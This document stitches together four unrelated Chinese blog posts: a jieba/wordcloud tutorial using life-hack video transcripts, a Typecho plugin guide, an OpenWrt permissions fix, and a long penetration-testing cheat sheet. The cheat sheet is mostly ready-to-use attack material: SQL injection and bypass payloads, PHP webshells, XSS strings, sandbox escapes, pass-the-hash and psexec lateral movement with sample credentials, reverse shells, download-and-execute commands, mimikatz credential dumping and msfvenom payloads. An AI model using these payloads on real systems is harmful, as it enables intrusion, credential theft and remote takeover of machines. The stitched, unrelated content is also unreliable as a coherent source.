案例实操 准备资源 导入所需库import wordcloud import jieba 准备好源文件，屏蔽词文件，备用字体font_path = 'C:\Windows\Fonts\时尚中黑简体.ttf' file_path = '新建文本文档.txt' fake_path = 'stop_key.txt' 自定义变量alist = [] # btext = '' # fake_set = {1} #第三方屏蔽列集合 #根据文档特殊性而设计的自定义屏蔽词 stop_words = {'我们','这个','一个','可以','下来','这样','就是','用来', '非常','然后','这里','非常','大家','时候','上面','里面', '放在','首先','准备','出来','很多','其实','一些','拿出','还有','如果'} 读取数据集 #读入源文档 with open(file_path,'r',encoding='GBK',errors='ignore')as f: text = f.read() #type（text）:str #ignore errors #读入屏蔽词 with open (fake_path,'r',encoding='utf-8')as f: fake_data = f.readlines() #屏蔽词文件中，每一个词汇独占一行，因此逐行读取 #type（fake_data） is list. 这个列表里的每个元素都是str for i in fake_data: #遍历屏蔽词列表，每个i都是一个屏蔽词 fake_set.add(i.strip()) #将屏蔽词加入集合，集合具有无序独立性，会自动排除重复词 #扩充屏蔽词库 fake_set = fake_set|stop_words 分词 #alist装填分词句 for i in jieba.cut(text,cut_all=False): #text是源文档 #切分采用精确模式 #jieba.cut（）返回一个generate对象，使用for语句可以遍历此对象 #每一个i都是一个str alist.append(i.strip()) #循环结束后，alist列表里的若干个元素，都是通过jieba分好的词 # 剔除屏蔽词 for word in alist: #alist是一个装填分词的列表，里面的每一个元素都来自源文档 if word not in fake_set: #如果遍历到的词汇不是屏蔽词，那么就把这词接入btext btext += word btext +='/' #每个分词之间用/断开 #btext变量是一个较长的且已过滤屏蔽词的字符串str，每个分词之间由'/'断开 生成词云 # 实例化 wc = wordcloud.WordCloud(font_path=font_path, width=1920, height=1080, background_color="white") # 传入 str 对象 # 此处给 generate 传入的参数 btext 已手动除杂，无需在 wordcloud 的实例化参数中指明 stopwords wc.generate(btext) file = wc.to_file('11111.jpg') image = wc.to_image(） image.show() Demo 手动爬取 15 个沙雕营销号生活妙用视频文案，利用 jieba + wordcloud 统计高频词。 问题总结 文件读写统一编码格式 错误案例：读取多个编码格式不同的文件时，使用了统一的解码格式，导致文本乱码或屏蔽失效。 例如：屏蔽词文件 stop_key.txt 编码为 GBK，源文件 raw_text.txt 编码为 UTF-8。一开始写函数并没有注意到这个细节，而后整个程序的读文件操作都通过一个 read_file() function 进行，导致整个程序陷入了无限报错之中，拆东墙补西墙。 解决方案：给 read_file() function 自定义参数 mode，进而针对特殊编码的文件单独控制 encoding。 ps：此处分别用两个 open 强调文件编码不同 ps：在我没意识到文件编码异常之前，一直在调整统一的 encoding 试错，从 UTF-8 到 GBK 再到 GB18030，显然都不能解决问题。如果通过设置 errors=ignore 强行忽视非法编码，要么导致源文文本乱码，要么就会在词库过滤时发现 stop_words 集合并没有起作用（原因一致）。由此引发的 Error 信息如下。 UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 91: illegal multibyte sequence UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbd in position 0: invalid start byteshell 补充：如果数据集从创建到调用都是自己通过python函数操作，往往不会出现编码格式错乱的问题（无非就 GBK 或 UTF-8 ）。出现问题很可能是数据集被创建后自己 手动 打开 修改 保存 了源文档！这时候保存的文档编码格式可能会分裂成 UTF-8，GBK，GB18030，Unicode，ANSI，GB2312，BIG5 等等常见的中文格式编码，这要看编辑器的默认转录格式 wordcloud易错参数解释 参数**stopwords接受的文本格式是set** 函数 **generate接受的文本格式是str** # 词云实例化 wc = wordcloud.WordCloud(stopwords=stop_words) print(type(stop_words)) # <class 'set'> # 词云生成 wc.generate(btext) print(type(btext)) # <class 'str'> 实验附件 这里呈上沙雕营销号文案 """接着利用剪刀剪下来一个正方形纸片。 利用我们的美工刀在上面裁剪一个小孔。 小孔裁剪好了。 大家肯定非常好奇。 这个是用来做什么的？ 其实这个就是我们用来阅读的一个小神器。 我们在阅读的时候。 可以将它放在我们的书上。 然后这样逐字阅读。 这个方法就是采用了我们小孔成像的原理。 这样我们阅读的时候就可以方便很多。 而且看得很清楚。 我们可以先把油桶的提手取下来 其实取下提手也是有小方法的 我们只要把这一圈齿片一片一片的往外掰 掰完以后，我们就可以把它取下来了 接下来我们看看它的妙用吧 家里衣服太多衣柜挂不下 我们只需把油桶上的塑料把手清洗干净 然后套在衣架上 这时我们将下一件衣服也挂在上面 这样就能为我们节省很多空间 我们拿出家里的吹风机 开启冷风档 大家看这个时候它散发出来的一股吸附力 能够将我们的一次性纸杯牢牢吸附在它的后盖上 能够轻松地吸附我们桌子上面的一些纸屑 热熔胶热熔胶热熔胶热熔胶热熔胶 然后将刀片黏在梳子上 我们准备一个卫生巾 把它贴在门把手侧面 妙用2用来戒烟 将风油精涂在香烟上 会有一股难闻的气味 吸烟者抽了就会头痛恶心 能达到减肥的效果 第三个妙用 我们可以在上面套一个垃圾袋 要当垃圾桶吗 这样把它放在我们卧室的床头上 在扔垃圾的时候就会变得非常容易了 如果觉得有异味的话 如果觉得有异味的话 我们扔完垃圾后可以盖上盖子 我们先来准备食材：馒头、蜂蜜还有洗洁精 我们拿出馒头在上面 均匀地涂抹一些蜂蜜 然后再加入适量的洗洁精 切记涂抹均匀o 然后我们把它放在老鼠经常出没的地方 老鼠一碰到找个馒头就会轻松挂掉了 原理解释 蜂蜜是甜性物质 涂抹它是为了吸引老鼠过来 而洗洁精本身就是有毒的液体，老鼠一沾到就会自然挂掉 你说涂点老鼠药上去1那我银A可能还能稍微能接受一点 可以我今天颠对洗清精的认识好吧 绝对不会出现老鼠 今天呢城西教大家用现有的材料自制胶水那个效果呢用起来跟买的 效果是擦不多的 首先我们只需要准备一点淀粉 淀粉就是那个玉米定粉啊 这个声音像我小学门口小卖店的老板 接着我们挤入洗洁精 大家看同样是有粘的效果的 希望对大家有所帮助 今天呢城西就跟大家讲一下 我们一定要在我们的钱包里面放一张纸 为什么呢？（为什么这个营销号不上字幕？） 作用可是非常的大啊 首先呢我们要拿出 一张这么大小的纸 裁剪出跟这里差不多大小 然后呢我们要在这个上面写上我们的姓名 姓名然后电话号码 然后呢还有家庭住址之类的 这个纸啊塞在最显眼的地方 把冰淇淋拿出来把肥皂弄成永淇淋装回袋子 另外我们还可以在废旧的鞋子里面 铺上一层锡箔纸 因为锡箔纸不怕烫 我们把它放在床头 就可以成为一个小小的烟灰缸啦 你为什么非要用个高跟鞋去做烟灰缸 实个烟灰缸就这么难吗 还要铺上锡销E 哇失响1你好讲究晚你，意识好强哦 是不是非常方便呢 而且也非常美观 像一件艺术品 火机放在水里以后还能开火吗 打火机大家常见特别的男生 今天我们就来做这实验 首先准畜一个打火机和一个气球 把气球套在打火机上面 然后端口打个死结 接者我们把用气球装好的打火机放进水里 来回浸泡几分钟后拿出来 会发生什么变化呢 我们把气球剪破口 然后把火机拿出来 开火试一下竟然还是能用的 火花比原来的还要大 原来打火机在的密封下浸水 还是可以用的 我们拿手机看电视时 可以将塑料提手向后掰几下 这时再把手机放上去 这样我们手机支架就做好了 我们拿来一个家里面都有的废旧盒子 接着利用剪刀剪下来一个正方形纸片 利用我们的美工刀在上面裁剪一个小孔 这一次性纸杯相信大家都不陌生 很多朋友的家里都会买一些这种纸杯 用它来招待客人 但是你知道 在这些纸杯上面扎一些小洞 他有什么作用吗 下面跟三毛一起来了解一下吧 首先我们准备一个一次性纸杯 还有一个叉子 然后我们用叉子 在这个杯子的底部给他戳一个小洞 将杯子底部扎完小洞之后 然后我们再将这个纸杯 放到另一个杯子里面 接下来我们再到这杯子里面 放入少许的茶叶 添加适量的茶叶之后 我们再倒入适量的开水 添加开水之后我们让它浸泡2-3分钟时间 浸泡2-3分钟时间后我们在将里面的杯子拿出来 我们现在可以看到 杯子里面的茶叶已经全部给过滤出来了 非常的方便 用这个方法来泡茶喝 它还可以节省茶叶 这么一点点茶叶我们可以泡好几杯茶 小妙招 超实用的小妙招 学会了快告诉妈妈 准备一张吸油纸 将牙膏一粒一粒均匀地挤在纸上 然后撒上小苏打 等待凝固后 把它装进小瓶子里 刷牙的时候倒出一粒 就可以直接刷牙了 将香皂融化吸入针管 然后挤入药板模型里面 用锡纸封柱模板 旅游的时候带在身上 随时随地都可以用来洗手 废旧的牙刷还有怎样的妙用呢 跟我来看看 我们先准备两个差不多的牙刷 用皮筋将它们绑起来 那么这两支牙刷的第一个作用就是用来清洗水龙头 由于水龙头的形状比较特殊 所以它的内侧经常很难清理到 将牙刷取开 然后均匀的擦拭 可以看到里外都清理的非常干净 而且可以随时调换位置 喝茶剩下的茶叶根不要扔 我们还可以拿它来做很实用的东西 首先将茶叶取出来 挤干水分放入盘中 然后翻在太阳下晒干 晒好后 将我们穿的袜子脱下来一只 将晒干的茶叶倒入袜子中 扎好口 一个便携的香袋就完成了 茶香四溢 怎么样 是不是很实用呢 如果实用别忘记点赞 """ 转自：Echosec @QIN2DIM版权属于：QIN2DIM原文链接：https://blog.echosec.top/p/python-jieba-wrodcloud/转载时须注明出处及本声明
食用指南 操作前请做好相应备份工作 此插件只适用于Handsome主题，未对其它主题优化！！！ 请先将插件置于Typecho的plugins目录下，且插件目录名应为UserAgent，注意大小写，否则将无法正常食用！！！ 修改Handsome主题，component目录下的comments.php代码文件，大概第60~80行左右， <?php echo $author; ?><?php echo $Identity; ?> 添加代码<?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> ，修改后代码如下： <?php echo $author; ?><?php echo $Identity; ?><?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> 获取真实IP Typecho开启CDN后，可能无法获取访客真实IP，只能取得CDN节点IP，为此可以在Typecho博客网站的根目录的config.inc.php插入下面的代码： //** 防止CDN造成无法获取客户真实IP地址 */ if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $list[0]; } [button color="info" icon="" url="https://pan.deepfal.cn/api/v3/file/source/8857/UserAgent.zip?sign=GJ2gpWXltFLgkZet4q0LFk0WfcekZuGKLMdF_lVbZXw%3D%3A0" type="round"]下载插件[/button]
本文章仅作技术研究，请勿用作非法途径! Web SQL Inject 联合查询爆显示位 union select 1,user(),3 联合查询爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 联合查询爆字段名 union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+ 联合查询爆字段值 union select 1,username,password from `key` --+ 万能密码 admin' or'1'='1' 布尔盲注测试 and length(database())=4 --+ 时间盲注测试 or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+ floor报错注入 select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); extractvalue报错注入 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); info outfile写文件 select '<?php phpinfo();?>' into outfile '/var/www/html' load_file 读文件 union select load_file('/etc/passwd') access and (select count(*) from msysobjects)>0 and 1=1 mssql and (select count(*) from sysobjects)>0 and 1=1 oracle and (select count(*) from sys.user_tables)>0 and 1=1 Bypass 大小写 uNIoN sELecT 1,2,3 空格绕过 /**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1; 内联注释 /*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--- 双写绕过 UNIunionON+SELselectECT+1,2,3 编码绕过 URLEncode编码：or 1=1即%6f%72%20%31%3d%31 ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116) 十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) PHP伪协议 php伪协议，以base64编码输出 php://filter/read=convert.base64-encode/resource=index.php php伪协议，以base64编码写入 php://filter/write=convert.base64-decode/resource=xx.php data协议命令执行 data:text/plain,<?php system('whoami');?> 一句话木马 php <?php eval($_POST['pwd']);?> asp <%execute(request('pwd'))%> aspx <% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%> 生成图片马 copy 1.jpg /b + 1.php /b shell.php XSS Payload alert(document.cookie)</script ' onmouseover='alert(/xss/) " onclick="alert(/xss/) javascript:alert(/xss/) Python沙箱逃逸 python2沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[71].__init__.globales__['os'].system('ls') python3沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[117].init__.globales['system']('ls') PHP命令执行 <?php $cmd=$_POST['cmd'];@exec($cmd,$return);var_dump($return);?> <?php $last_line = system("ls",$retval);echo $last_line;?> <?php $output = passthru("ls -la");echo " $output ";?> <?php $output = shell_exec('ls -la');echo " $output ";?> <?php $fd = popen("whoami", 'r');$ret = fgets($fd);print($ret);?> <?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stdoutput = $stdout->ReadAll(); echo $stdoutput ?> PHP代码执行 <?php @eval($_POST['cmd']);?> <?php @assert($_POST['cmd']);?> <?php echo "{${phpinfo()}}";?> <?php call_user_func("assert",$_POST['cmd']);?> <?php preg_replace("/test/e",$_POST['cmd'],"just test");?> <?php $func = create_function('',$_POST['cmd']);$func;?> <?php $cmd=$_POST['cmd'];$array[0]=$cmd;call_user_array("assert",$array);?> <?php $cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);?> <?php $func=$_GET['func'];$cmd=$_POST['cmd'];$ayyar[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;?> 横向渗透 WMIC wmic /node:10.10.10.201 /user:administrator /password:hetianlab.com process call create "cmd.exe /c ipconfig" IPC + Schtasks net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy c:\windows\temp\59.exe \\10.10.10.201\c$ schtasks /create /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe" schtasks /run /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /tn test2 schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p hetianlab.com IPC + AT net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy 59.exe \\10.10.10.201\c$ at \\10.10.10.201 19:08 c:\59.exe Smbexec smbexec.exe heetian\Administrator:hetianlab.com@10.10.10.201 Psexec PsExec.exe \\192.168.10.201 -h heetian\Administrator -p hetianlab.com -s cmd.exe -accepteula PTH mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.10.10.201 /ntlm:579110c49145015c47ecd267657d3174" exit wmiexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 "whoami" smbexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 Wmiexec wmiexec.exe -share admin$ administrator:hetianlab.exe@10.10.10.201 渗透测试 反弹shell Bash bash -i >& /dev/tcp/192.168.1.1/3344 0>&1 0<&196;exec 196<>/dev/tcp/192.168.1.1/3344; bash <&196 >&196 2>&196 NC nc -e /bin/bash 192.168.1.1 3344 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.1 3344 > /tmp/f PHP php -r '$sock=fsockopen("192.168.1.1",3344);exec("/bin/bash -i <&3 >&3 2>&3");' Telnet telnet 192.168.1.1 8080 | /bin/bash | telnet 192.168.1.1 9090 crontab * * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1 Socat socat TCP:192.168.1.1:3344 EXEC:bash socat TCP:192.168.1.1:3344 EXEC:"bash -li",pty,stderr,setsid,sigint,sane 获得伪终端 python -c 'import pty;pty.spawm("/bin/bash")' 信息收集 dig @223.5.5.5 hetianlab.com -t A nslookup hetianlab.com 223.5.5.5 nmap -sn -Pn hetianlab.com --script hostmap-crtsh whois hetianlab.com site:hetianlab.com web inurl:login intext:蚁景网安学院 intitle:后台登录 filetype:xls 身份证 文件传输 bitsadmin下载文件 bitsadmin /transfer lan http://192.168.1.2/1.hta C:\temp\1.hta certutil下载文件并执行 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe shell.exe & shell.exe certutil清除缓存 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe delete powershell下载文件 powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.2/1.hta','1.hta')" powershell.exe (new-object system.net.webclient).downloadfile('http://192.168.1.2/1.hta','1.hta') powershell Invoke-WebRequest -uri "http://192.168.1.2/1.hta" -OutFile "$env:temp\1.hta" wget wget http://192.168.1.2/1.sh wget -O x.sh http://192.168.1.2/1.sh curl curl -o x.hta http://192.168.1.2/1.sh curl -O http://192.168.1.2/1.sh PHP php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.2/1.sh"));' Python python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close" python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))" Ruby ruby -e 'require "net/http";Net::HTTP.start("192.168.1.227") { [http]r=http.get("/1.sh");open("/root/x.sh","wb") {[file]file.write(r.body)}}' Perl perl -MLWP::Simple -e 'getstore ("http://192.168.1.2/1.sh", "1.sh")' Powershell加载远程脚本 powershell -nop -w hidden -exec bypass -c "IEX (New-Object New.WebClient).DownloadString('http://192.168.1.2/shell.ps1');shell.ps1"; 工具 Mimikatz 启动mimikatz mimikatz.exe # privilege::debug # log c:\temp\mimikatz.log 获取登录账号的明文密码和Hash值 # sekurlsa::logonpasswords 备份注册表中的SYSTTEM & SAM hive C:\> reg save HKLM\SYSTEM system.hiv C:\> reg save HKLM\SAM sam.hiv mimikatz获取hashs # lsadump::sam /system:system.hiv /sam:sam.hiv 读取从lsass进程中保存文件里的明文密码 # sekurlsa::minidump lsass.dump NMAP 基础扫描 nmap -A -T4 192.168.1.1 存活主机探测 nmap -sP 192.168.1.1/24 全端口扫描 nmap -sS -v -T4 -Pm -p- 192.168.1.1 系统扫描 nmap -O -T4 -Pn -oG OSDetect 192.168.1.1 服务版本检测 nmap -sV -T4 -Pn -oG ServiceDetect 192.168.1.1 waf识别 nmap -p80,443 --script http-waf-detect 192.168.1.1 nmap -p80,443 --script http-waf-fingerprint 192.168.1.1 Msfvenom Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o /tmp/shell.exe Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho Bash msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.jsp WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war Python msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py Perl msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl PowerShell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1 Metasploit msfconsole msf > search eternalblue msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(...) > set RHOSTS 192.168.1.1 msf exploit(...) > exploit
今天遇到手动安装软件包后打开luci插件页面显示[权限不足，无法读取UCI配置]的问题。 解决办法如下： ssh连接到openwrt 进入acl.d目录 # cd /usr/share/rpcd/acl.d 查看当前目录下的文件，找到luci-base.json # ls 编辑luci-base.json # vi luci-base.json 在下图处插入代码 插入代码如下，直接复制 "uci-access": { "description": "Grant uci write access to all configurations", "read": { "uci": [ "*" ] }, "write": { "uci": [ "*" ] } }, 保存后重启系统即可。